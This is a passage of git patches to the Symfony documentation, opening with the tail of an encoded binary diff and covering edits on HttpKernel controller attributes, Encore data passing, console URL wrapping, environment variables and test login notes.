zh@ybpi_~E*XnrNzVl&HDHKKncm&Z_$0JyGTaclmP5%1GU7uAPN=b~Y;awP;`Q{;y)
zpZRNKB42XG+Sg<NDIirC@a}<#U~zN*<>K>CGW*(CQHgF~R2be~|3V=)RD1xqS(aT-
z<)KGE_M^I7nr|Y-HCr|J7l=p-GkQZSZ|c`^a&L{I!cRJT9{6zAV^hC%KOPEJ*6U8@
z7#|)RdhR{ctw^vV(fM>cYly>c>8-83)I6JiubMXkBY$ZDKiJ{r{dAjTHj=QY7Jp)5
z%>8f_85&6z`o+^=J>NXa7M#?hKvoib+M$B_8XgZHYUVkg32?n?fnxf5sH=h3)kd8T
z*OaPpiC(SkyKEK@szUg5L>TS4^;BsLprWQP4L(wam*iZ&bDlMac01=BR5<Wc<-Bho
z3RVT{r?TWBkDGPx<%fZ?X`G{gW8aNr(9Vo!OkvK?zX-N{>)Ky>qgx|YSf;4IK!vC~
zzvpG=Z}Q>tYL;Z=v?T7K?1pN#de!R!LihtdLbw8gt~JdO8T|bH$`RP>7<_0Mdk__c
zJ4H{b!ZP-(D5>uiI=CV9CWR5y01Mrv7ftD+*p?r*8sE!+TIf{NEcLBl9sWirAq5^;
z<1wM5Bp)T?KRZF*kQbK5LD1<keduSdDNECpz{naTbL4Cxx%mz_^n@q1i_WQ6nWJ+(
zmsCXhy&$xYTgP)hcKfb5Gl62X=Haz7qcYoYfL!l!w1Tyj*UtoRhjm$dSM(Ze&}y2~
zb=5}vnr^+`VIt(PRF-xSH8w8MZ#;MV!(RMeO7Fu~z}?&rYlW>q#ixG1nWw9a=xa_8
z(ePLXV$zK}dgbl{M#M_UV8TDK+VUc@7$C^PMHNJu`>aILfzCe8e!j6`&zT0EaW5F*
z5kupw#5hvSe!j);FOwEF4~7AEIpd?}$TS#3`h3AHF1^m+3kSlkX89M8V}qd4r&pt&
zy`sT-0!dQYUT$sO11l!E3js%7xFO^?`<NuSX`Zud=;;LW$;NpJ!y{P6q`mASeOgQq
zrMC4hTd*C<3UzdjMkRTuD(X+mF95ncAp)IJ1`P1t1HMm?N9G-$cK5hcg*~Mi&JbuM
zJTl69A|#BYtZcj2bEqeQdP(&qtJ0rWlxu7CdUY~iwfygg`?6_M5%QzoU*!U#NT`w?
z&*xSShy{s6E&dk^j?pHl*uG$X?*sJ7VexryN}7=~j`WLTa~MH)Z>?k31JG>3cg53z
zC%=jM2)-%|(*rLXtXTFkND)_M{!kFaO!rbofJZ&@pbjHM3)e8aw0Zv0Bdz&wJO!&?
z%28_d6P!IJtukV6dt+o4W&5*>7g()cF)072hCHwBnp6aJ>!f$8n<OT9jHNaF<cxaD
zcg+sZU(d!soZ;Xw=O6!H029~AzU>OyYHA3ibU<4o>;QvvKA13QpH}vktT(LT+NS)a
z%<w#snT~&5fnaPgs#zeP3{lEA4MbR<pRG)1J%5E{DKtM;$t42KEM4ndViaw8xFMa?
zp^{U)FraJOLmvoRyo|hLWIy-5X?~`n)QqY#Y8SU0w0N{t)k@<rgu$_W*t4q?elwT}
z#JOWYxH;o$;w`72d?KoAl_X_aO+4L_M(nMr1_l^Xrh0rW)PM}Q{ZU{=084@17D8f~
zrZyW#z$k<sUMJ~z<KJQ8PfG3VGMdI~ibuw0A0a)Dk-oo;t?nBL*|!+EcrH3Ik$t+j
zeKtF)De{~BVORPGv%sB@Is^scm)ny5+1QS|q;y80*R2JJZl4W49_3bt33zxKS#p=I
znY4=e_5)Hqxq_D&{w@nbDNU|ojvPD|q)6YwNj9u%PS?l%{$XVQqy%^W0C;549R^a;
za6&K;3hqAQ+ol4UmGy5#lx}@4en7ARSUZUT#yk>42N8xN{YqcVSXE-EU#V!<k~8gx
zUhLLfu)UY+c=^T)Id<Dc6W&CLE@qgt>cMo=v{fv-<4lT%3w5Q_Z%x!F=8|aiMeoeb
z{U|HZQK#x}-pWzJ0d8NRB$|yRjS&^2%b_L1Jjv9AgLt3$NBLXXw@kl58t7H#cXRQo
zWl(|I>3;SNJznb+n7t->FE?<S)5AYN8hG|GjYSjR=rfl3X5kPcfbBc(@O7)3IEM_U
z7qcPfFuZo}K1PWevG+prQA`vKAA;jQ-_BA|%B~JVpOc^4oWHoae3*Br?Cp}Ksf3`E
z`Q{9PvRY9mAp10PKjXm-snns9^tAG_qcmJ2Vt<M8O$%D&U1oDiRQK1y%-m$*SQtr;
z0mnyTZJ|_N4Oy*kG*%>f?f?YM+|8F)-VbW9xu0$Sq{-7_@};LUn#-hBFazHXH4-+Q
zC~94O-2U@C>8Il>Nppww%feT2a^*<TXlyU&N`#D*+4W942k=T}A)PyYnN>{VS>;AQ
zk@_P-K^c~QDET${kf+DZ6I%69WzoqoW?PZ<HrsyfraP!(Kw#DT@x2~87i~QyvsbG$
zY-f74jOtbFt1r44%NM9T_1BncoD)V#EhK>-mEN}v5?lJ??a$ocg@uAhPgc7GNhtad
zyUa36dXwb|PmyMG!#m)0kZF)qQbnkc&kCNrUvL<F4R#LkB8L(NkbTcBE{|4K_2)Cy
zW1o(0Xs)(NQS$nA^2kQp(WO58CaWTG^y8Ts;q_?j=57u*L_#71_b(&Lr6+<gau&Bh
z>2{R0@ng&3gVPD?V3h~7Z044vs@E-O_DCW-WAE;B&6e?XcTg<0_vkD1PiKof(0HPI
zx^!Vt-lE!OrIrDz2V8{+fv|{0Ws|)J&GuE|N2y3ujJzMn)I*C6&hf{%w0-e^UrLwV
zB8sWyypaAoPeV3%Pcm;dREW*0toJPkM_K?lCx>PYyzf3)+?7N7UlJ;PJ{XVh0K$|x
z=;X9V@=m|xt$)kGZM3Jnz9LmRc%a7}dN(tRey)if(pnq#!~+lghET$9lwPw14f#PY
zu<HO<&FFH8Q9zTm(gP3krd0qL!-ig4bKGP!$j{dsO*UC$XpfX;SS$4OZh6Ehd&U0U
zV=}woN>^5jan9A+F*|Mz$I+<u41Q}yu4{z8dA)et8N6O~v77)FLuCQC`c7B&bpnn(
z8E~pa3tso}{A@kyKtEv0LY5T|sQCE1M<y791T06i-8qP1tKjXu3LqNDHUDQ*ojOrC
zW&K^7v~(-*G%75ArV%Q?=HN}-see#1T1_pNRqRbxCy@CmC5lQ7P~a$-Gv7R#_Fid!
zCwC**oegROeno3f&g#2yWYPcG$u$WSu7r_fsek)lO`Lf=)N32YB^5`9GAMPF7Gy11
z%64WBVus1kWSc^gW-78|i0n}*yqLjQ8ig#Uks>NZMar5bO_pk!V`o%|ER8w$5AWxF
z=fC-5me23muKT&a*F}2Y{9Qfx0t=+Ow*A31cbKl4vo>KDr0Z^*UK#ETw7GV6=L2&f
zCqV|%pb=e1nkL$DfbD4lUS}Yk%xs@gw%a{@62=b%<aepaQ)-4sCCFSU#p_L3TDt~#
z=~J7SlSc+>o!Fl;4}fn#xdG_3z0fj|AhR>lq^_xg@<RNjWk#|31Pi-5qHQ{~i5kGW
zvKzT9sX!NfDNIvcwe<ZzMf0%TFSAZXqgsY$U-C=4COEb@#*1v_gr=(rCmm~J!#aVA
zj3%(X;l==)2zprCP`&FQBzlOnzTaDC#tE*`LMzQ@RG{b0mIOB)!`g^VDqX$1=7hvH
z9c<XFe=I6tp6}R~+CR_K=cheG&&%PyC2sqNQG(zliNWw^SFe+x!>?rcbQTe`42TL_
z>_N&Nex=s@0YN*LhU?XqNNF|0h?DUQXxP<H$`SkD$XL0@JLgO*(g&}W#3h?v3TW(t
z%LO+KstQYh&nV!4t_uG7RRb`{q#$cLHf0Kdk;gs|kn|C_cfVeN9_ni+EQvJ54ZB2=
zWrBOQ(<;1r8v%Ln=-66<9pvffb=v9vx+zP0BWr-K;Qy+M+m3drefGK^bt^?e7qsGf
zd4o>>L5S1XKB{g^`xDQ;=d6ZswH0XQlXE1S<uMf1i#*!G>#Fhp_SqQ-nvv#{aXRg<
zc@vJG%7(jZaDDv+t!S-3*EqNYd9ZTYg4H4ufv<Z4ZLBrVrE}uzD%%#<2ZpGk!C;5b
zvy=tY7$KVNip;tVy&_RLyokgE^BaRL9&B+__ny4*kKNizmY-U)HFV|U!KL|n29;m#
zAnc}qS$M~C(spOdHYs_ru#)1NZ+(aFx^k6Jw)BYita3nM%jGhQoilXK<b?|slMi^i
zq#xue>ihn<-&s8&yFkVB1P0V2r;X7^!#EXAF4PczBnJXD&9+pH#G<}?g#+8_i9csZ
z9hDwA8KWyeDO=Yg&=O?q?EBLI%w00iPp_nVXaZ*G@rEr)OEwCctS_`pa9^x8?#O#r
zm8==Mc7fXY)#(KFEn}nK;47`5srUnVpdM_GITSObeAM8v8-ZK{Cz3=EWX$Y_RplM-
zc%mG@A-~!0ZqO*ssX(6(#grdk8QTEizqH+_H1w@&{q^)h%Srj`hc)&Hx2uoYhpN)D
zM-_w0$SIHV@$CubIvmg9%rTfJ`?^Y@G;<4BcSs?_gIg2R0e;^Gx(W@?G;-?Arc`&6
z4lIu?RxdJfk0Cwk{(bFyLZEbny7|W0Zd=iu!;Yrp#aCLB+^+VH!9n(E^C93i5-QG~
z4W&aaN!ubGC}qerp-4vpm2~l*M63)$*WdB!7{EVt`(jeMoV-`KRBk?JIh6wzm1w10
z=3b2KVr||H>b}pu(oxf{AxiP`WfjNg#OIlV4TA86uWC;7Y!Us?(P(gY_v{H|vaZRJ
z#LQG+TgO*Y!kNLNDsTh-z-bf9hg-ue(Xt(4R2c;D7%*9%XOfmT1SwI)$V8Z|CIwb$
zZ&_bjNZJLG<7u&>+Y?jDI4Kv%tvy7ea`fbzFqH4ts-d-3<*F(D{B&)*_K8mU&YIU!
zt2i@cV1J`xd$+z7YIXvLBv1*u8;6hp8`P0`z^VbqN!>;%zPr4zcV}X-<bV(>B4h&v
z1p)#B5aX$uv67}ryX^Y+j{@jGP0ld~djtZ5AQN_o(Xr|*w8d{Sm5u<GDMM~hpjS}&
z2}H<SM9h#Y-R-RwYCR>-wS5d1@R7tPfwkX6I6|00B0;Yw<L@&Ieg9<MIkXa1;IL6N
zv(&U$&ZExl@tJq|lcnyY{p4n>lkt#q5!H07io@ONJX|K*&Sy_^L#{>t-9uCTaBAWV
z3POHTpF4bg+$TZY^g+g6JP)i67~$%1$$T%Uh_tU0;0fG;<0qLNGu{fAZ2zY~j_y`&
z`BUmx{y5=<A<K1nuZ)m-oQQEuk<Sc$8MVfvu+On~0GwJ>GJQICVsGR1pP!Sj|9&sc
z^7kz`D6qzhHuiq&dH7egYc)2^_gCD0@>}(rSriMPziEJ>n6vOpw>3pbUEnS-wqB@J
zZv}F_rBbK(*rQaSQ7j?Mf|!j{CC-i%WS;^)xs=kr^WEY@Z;lISmi_OWmZKsR^u)}}
zx*rrm1KBSqVA!U+H}`6@5B}qz!QHTuUner8)m$5zf6(vQTkR(|ohL}nF*kHSXU!eg
zJJ`GEY?ybd=txIFp!b>foS4{A=}BP<lJ^lE4`--N0e@sd037alloEd5U=g@4lc1Ew
z0&-Mi&xAkO2qZpUAx7g^1$Lz4PRq{Quw#tNQp{JDag4~$zj=<#u3LRR3qZs+g0o*$
zTvnZ~NOYmC@qV^5jjq0{PW5OK*sZL%QXadjP?ma*e!R9--A{b0Jdgd%_2iEj>d!8?
zG|&!|==kDE0HkX=9QQqRzqG?24jLboNWdD$*m0Y+YWA26G^M3M>1>svYKO-Nu}j5L
zkpebsmb-2aFw+6Zm`VgcFs?deE^d1}G|?aO#bhamEmpKZMuZw&{?fYpMQ_{~<NXb^
z($g(lplMbf!WGe;4PooNJZ<dCwNm7G98&b=HsM9bvgUrnrv9PdvfkzjK0Tg8ASvI3
z#a7>~O^$vcto$GO6qJQT6PLfxe?PbF*MkdBd7Nsy1cOG2GpU+Ha}uY^WVEwrmyDV{
z{f1^`y)5o0JhNA#k(lvTC{SZ4$+JHY`@VWl18c($mYDZV!@%=MX#~4!-Rxx2Te*U9
zB&1=3<CpK;S|n4cyXw*-TM7hbs6)tx6kWbUz3(A<Rtq?^U6L90E1_aFmS1wh{}4Nu
zpwir&5Y>U}dhAQ{{8W8-X1v?oKpJ;=|FIcf{^cX3W@0J>j6x77n!~x}I1Q_Z%ts+}
zer2h+hwN7I>73P7kPNX``n|Tt53g{_<qB_(=B2Eet1-qjRmQ8^3Nk=c^=9Xpyqj7Q
z1KW1o;%C=$3WfOD=}g-I;T=X0$R?+6?AL!S%YfP#SI9IBv_?<>IOa=nkX_R}e0S|8
zQ8TTJZ{%8B%Fm|wNFLp3Dnu*<wPm3+wYkZzH+%C_F3B0$&oM&6JpwTyrMRoBe}q3P
z;YBCiKK*~mKg(NWplCC`?`G-Q|3#~;Y@Ig3I3(ky!)YXadCLAbRR<$>@fsxiY^!u4
l9bG;)R!&@alWhG(AauEG^hU&7f<OpfxI@-v_e@Si{R;=2h@Sue


From 56168bee49a53cbd530455998ae9f0059dfd427f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 20 Sep 2022 17:30:46 +0200
Subject: [PATCH 2321/5766] [HttpKernel] Document
 `ControllerEvent::getAttributes()`

---
 components/http_kernel.rst | 31 +++++++++++++++++--------------
 1 file changed, 17 insertions(+), 14 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index a08ae6afe9b..75eda8865c8 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -289,7 +289,15 @@ After the controller callable has been determined, ``HttpKernel::handle()``
 dispatches the ``kernel.controller`` event. Listeners to this event might initialize
 some part of the system that needs to be initialized after certain things
 have been determined (e.g. the controller, routing information) but before
-the controller is executed. For some examples, see the Symfony section below.
+the controller is executed.
+
+Another typical use-case for this event is to retrieve the attributes from
+the controller using the :method:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::getAttributes`
+method. See the Symfony section below for some examples.
+
+.. versionadded:: 6.2
+
+    The ``ControllerEvent::getAttributes()`` method was introduced in Symfony 6.2.
 
 Listeners to this event can also change the controller callable completely
 by calling :method:`ControllerEvent::setController <Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::setController>`
@@ -297,18 +305,15 @@ on the event object that's passed to listeners on this event.
 
 .. sidebar:: ``kernel.controller`` in the Symfony Framework
 
-    There are a few minor listeners to the ``kernel.controller`` event in
-    the Symfony Framework, and many deal with collecting profiler data when
-    the profiler is enabled.
+    An interesting listener to ``kernel.controller`` in the Symfony
+    Framework is :class:`Symfony\\Component\\HttpKernel\\EventListener\\CacheAttributeListener`.
+    This class fetches ``#[Cache]`` attribute configuration from the
+    controller and uses it to configure :doc:`HTTP caching </http_cache>`
+    on the response.
 
-    One interesting listener comes from the `SensioFrameworkExtraBundle`_. This
-    listener's `#[ParamConverter]`_ functionality allows you to pass a full object
-    (e.g. a ``Post`` object) to your controller instead of a scalar value (e.g.
-    an ``id`` parameter that was on your route). The listener -
-    ``ParamConverterListener`` - uses reflection to look at each of the
-    arguments of the controller and tries to use different methods to convert
-    those to objects, which are then stored in the ``attributes`` property of
-    the ``Request`` object. Read the next section to see why this is important.
+    There are a few other minor listeners to the ``kernel.controller`` event in
+    the Symfony Framework that deal with collecting profiler data when the
+    profiler is enabled.
 
 4) Getting the Controller Arguments
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -749,6 +754,4 @@ Learn more
 .. _reflection: https://www.php.net/manual/en/book.reflection.php
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
-.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list

From 1aa135ce6035dc5be4262ac383a0c80c09d8c4ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Sep 2022 13:03:58 +0200
Subject: [PATCH 2322/5766] Add some minor notes

---
 service_container/service_subscribers_locators.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index c2b4c75fd23..e1e65b05e12 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -292,6 +292,10 @@ This is done by having ``getSubscribedServices()`` return an array of
         ];
     }
 
+.. note::
+
+    The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
+
 Defining a Service Locator
 --------------------------
 
@@ -770,8 +774,8 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
-SubscribedService Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``SubscribedService`` Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 6.2
 
@@ -829,4 +833,8 @@ Here's an example::
         }
     }
 
+.. note::
+
+    The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From 2a1314e49c61947f0e296a8b5257216a0fb44d5a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sun, 16 Jan 2022 15:39:17 +0100
Subject: [PATCH 2323/5766] Frontend Encore document passing data via serialize
 twig filter

---
 frontend/encore/server-data.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index ebb1f3cb8a5..439aa6f98f6 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -8,7 +8,10 @@ them later in JavaScript. For example:
 
 .. code-block:: html+twig
 
-    <div class="js-user-rating" data-is-authenticated="{{ app.user ? 'true' : 'false' }}">
+    <div class="js-user-rating"
+        data-is-authenticated="{{ app.user ? 'true' : 'false' }}"
+        data-user="{{ app.user|serialize(format = 'json') }}"
+    >
         <!-- ... -->
     </div>
 
@@ -19,6 +22,7 @@ Fetch this in JavaScript:
     document.addEventListener('DOMContentLoaded', function() {
         var userRating = document.querySelector('.js-user-rating');
         var isAuthenticated = userRating.dataset.isAuthenticated;
+        var user = JSON.parse(userRating.dataset.user);
 
         // or with jQuery
         //var isAuthenticated = $('.js-user-rating').data('isAuthenticated');

From e976964f28c71d25f20fd61d0cc03d5febcd3cad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 09:16:28 +0200
Subject: [PATCH 2324/5766] Add the versionadded directive

---
 frontend/encore/server-data.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 439aa6f98f6..8ec4ab97729 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -15,6 +15,10 @@ them later in JavaScript. For example:
         <!-- ... -->
     </div>
 
+.. versionadded:: 5.3
+
+    The ``serialize()`` Twig filter was introduced in Symfony 5.3.
+
 Fetch this in JavaScript:
 
 .. code-block:: javascript

From 01ca3562f70e6103bf07695c7c14640b93d35489 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 09:17:18 +0200
Subject: [PATCH 2325/5766] Remove a versionadded directive

---
 frontend/encore/server-data.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 8ec4ab97729..439aa6f98f6 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -15,10 +15,6 @@ them later in JavaScript. For example:
         <!-- ... -->
     </div>
 
-.. versionadded:: 5.3
-
-    The ``serialize()`` Twig filter was introduced in Symfony 5.3.
-
 Fetch this in JavaScript:
 
 .. code-block:: javascript

From 0bfa8ace9b826662191845ff8f29304d913a50d6 Mon Sep 17 00:00:00 2001
From: Krisztian Ferenczi <ferenczi.krisztian@gmail.com>
Date: Fri, 4 Feb 2022 17:25:15 +0000
Subject: [PATCH 2326/5766] [Console] Add note about URL cutting of default
 output wrapper

---
 console/style.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index 6603fc30ffa..711e4fa4b2f 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -337,6 +337,13 @@ User Input Methods
 Result Methods
 ~~~~~~~~~~~~~~
 
+.. note::
+
+    If you print any URL it won't be broken/cut, it will be clickable - if the terminal provides it. If the "well
+    formatted output" is more important, you can switch it off::
+
+        $io->getOutputWrapper()->setAllowCutUrls(true);
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::success`
     It displays the given string or array of strings highlighted as a successful
     message (with a green background and the ``[OK]`` label). It's meant to be

From adfe2d2d9d9c93040251220ee5dd9d3674ec2468 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 09:51:07 +0200
Subject: [PATCH 2327/5766] Reword

---
 console/style.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index 711e4fa4b2f..16cb3e2bab0 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -412,6 +412,38 @@ Result Methods
             'Consectetur adipiscing elit',
         ]);
 
+Configuring the Default Styles
+------------------------------
+
+By default, Symfony Styles wrap all contents to avoid having lines of text that
+are too long. The only exception is URLs, which are not wrapped, no matter how
+long they are. This is done to enable clickable URLs in terminals that support them.
+
+If you prefer to wrap all contents, including URLs, use this method::
+
+    // src/Command/GreetCommand.php
+    namespace App\Command;
+
+    // ...
+    use Symfony\Component\Console\Style\SymfonyStyle;
+
+    class GreetCommand extends Command
+    {
+        // ...
+
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $io = new SymfonyStyle($input, $output);
+            $io->getOutputWrapper()->setAllowCutUrls(true);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The ``setAllowCutUrls()`` method was introduced in Symfony 6.2.
+
 Defining your Own Styles
 ------------------------
 

From f90b0a5674893d7964868a9d701ffebc04ec022f Mon Sep 17 00:00:00 2001
From: Amine BETARI <amine.betari@gmail.com>
Date: Tue, 28 Dec 2021 15:09:54 +0100
Subject: [PATCH 2328/5766] Update autowiring.rst

I removed this sentence because there is no obligation that the interface should be in the same file as the class
====> and that interface is also discovered in the same file
---
 service_container/autowiring.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bf1696d6540..bb89ee3451a 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -371,8 +371,7 @@ dealing with the ``TransformerInterface``.
 .. tip::
 
     When using a `service definition prototype`_, if only one service is
-    discovered that implements an interface, and that interface is also
-    discovered in the same file, configuring the alias is not mandatory
+    discovered that implements an interface, configuring the alias is not mandatory
     and Symfony will automatically create one.
 
 Dealing with Multiple Implementations of the Same Type

From 6b73dda6da1c114619cf9e4fe33a3ce8839f6e99 Mon Sep 17 00:00:00 2001
From: Martin Melka <melkamar@users.noreply.github.com>
Date: Mon, 10 Jan 2022 11:42:55 +0100
Subject: [PATCH 2329/5766] Note that env vars are not always compatible with
 options

There are cases where environment variables cannot be used in
place of regular configuration options. This commit makes the limitation
explicit.

From https://github.com/symfony/symfony/issues/39902
---
 configuration.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 1c0c9dd21c3..dc435894686 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -602,6 +602,10 @@ You can reference environment variables using the special syntax
 ``%env(ENV_VAR_NAME)%``. The values of these options are resolved at runtime
 (only once per request, to not impact performance).
 
+Note that not all config options are compatible with environment variables. There are
+`cases <https://github.com/symfony/symfony/issues/39902>`_ which may require refactoring
+the config definition in order to work with environment variables.
+
 This example shows how you could configure the database connection using an env var:
 
 .. configuration-block::

From 945bb679813a51ac3de5c5ba253ffbff4b676a2b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 10:26:06 +0200
Subject: [PATCH 2330/5766] Reword

---
 configuration.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index dc435894686..6d2638008fa 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -598,13 +598,10 @@ configure options that depend on where the application is run (e.g. the database
 credentials are usually different in production versus your local machine). If
 the values are sensitive, you can even :doc:`encrypt them as secrets </configuration/secrets>`.
 
-You can reference environment variables using the special syntax
-``%env(ENV_VAR_NAME)%``. The values of these options are resolved at runtime
-(only once per request, to not impact performance).
-
-Note that not all config options are compatible with environment variables. There are
-`cases <https://github.com/symfony/symfony/issues/39902>`_ which may require refactoring
-the config definition in order to work with environment variables.
+Use the special syntax ``%env(ENV_VAR_NAME)%`` to reference environment variables.
+The values of these options are resolved at runtime (only once per request, to
+not impact performance) so you can change the application behavior without having
+to clear the cache.
 
 This example shows how you could configure the database connection using an env var:
 
@@ -677,6 +674,14 @@ To define the value of an env var, you have several options:
     Some hosts - like SymfonyCloud - offer easy `utilities to manage env vars`_
     in production.
 
+.. note::
+
+    Some configuration features are not compatible with env vars. For example,
+    defining some container parameters conditionally based on the existence of
+    another configuration option. When using an env var, the configuration option
+    always exists, because its value will be ``null`` when the related env var
+    is not defined.
+
 .. caution::
 
     Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables

From 4d29c99c2006a80d40d6d942a29f8afa00d67980 Mon Sep 17 00:00:00 2001
From: Artyum <artyum@protonmail.com>
Date: Thu, 4 Nov 2021 20:52:02 +0400
Subject: [PATCH 2331/5766] [Security] Added a note regarding the loginUser()
 method

---
 testing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testing.rst b/testing.rst
index f130dfbb06f..a4d48938779 100644
--- a/testing.rst
+++ b/testing.rst
@@ -625,6 +625,11 @@ You can pass any
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
 stores in the session of the test client.
 
+.. note::
+
+    Stateless firewalls cannot use ``loginUser()`` prior to requests by design.
+    Instead you should add the correct token (i.e. header) in each ``request()`` call.
+
 Making AJAX Requests
 ....................
 

From 2aeff1bae199fb4576f11bd043002c5879339cb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 15:12:47 +0200
Subject: [PATCH 2332/5766] Minor reword

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index a4d48938779..c3b325d68a3 100644
--- a/testing.rst
+++ b/testing.rst
@@ -627,8 +627,8 @@ stores in the session of the test client.
 
 .. note::
 
-    Stateless firewalls cannot use ``loginUser()`` prior to requests by design.
-    Instead you should add the correct token (i.e. header) in each ``request()`` call.
+    By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
+    Instead, add the appropriate token/header in each ``request()`` call.
 
 Making AJAX Requests
 ....................

From 2b6371f27d2d1aeb1adce3e84b8e7c496eac3d21 Mon Sep 17 00:00:00 2001
From: thephilosoft <thephilosoft@gmail.com>
Date: Tue, 7 Dec 2021 03:56:48 -0500
Subject: [PATCH 2333/5766] Add information about strict_mode for encore

---
 frontend/encore/faq.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 4fbace849f4..02adc5cd874 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -169,3 +169,24 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
     // ... the rest of the Encore configuration
 
 .. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html
+
+My functional tests are failing in CI
+-------------------------------------
+
+With something along the lines of
+
+.. code-block:: text
+
+    Uncaught PHP Exception Twig\Error\RuntimeError: "An exception has been thrown during the rendering of a template ("Could not find the entrypoints file from Webpack: the file "/var/www/html/public/build/entrypoints.json" does not exist.
+
+.. 
+
+This is happening because you did not build your encore assets, hence no ``entrypoints.json`` file. Plus encore is working in strict mode by default, which causes  twig functions ``encore_entry_*`` to panic.
+
+To solve that you can add this to your ``config/packages/test/webpack_encore.yaml``
+
+.. code-block:: yaml
+
+    webpack_encore:
+        strict_mode: false
+..

From c58d74115442b609140d73e4947302e1fa23c5f6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 15:32:38 +0200
Subject: [PATCH 2334/5766] Tweaks

---
 frontend/encore/faq.rst | 24 ++++++++++++++----------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 02adc5cd874..6c1392ac5a0 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -170,23 +170,27 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
 
 .. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html
 
-My functional tests are failing in CI
--------------------------------------
+My Tests are Failing Because of ``entrypoints.json`` File
+---------------------------------------------------------
 
-With something along the lines of
+After installing Encore, you might see the following error when running tests
+locally or on your Continuous Integration server:
 
 .. code-block:: text
 
-    Uncaught PHP Exception Twig\Error\RuntimeError: "An exception has been thrown during the rendering of a template ("Could not find the entrypoints file from Webpack: the file "/var/www/html/public/build/entrypoints.json" does not exist.
+    Uncaught PHP Exception Twig\Error\RuntimeError:
+    "An exception has been thrown during the rendering of a template
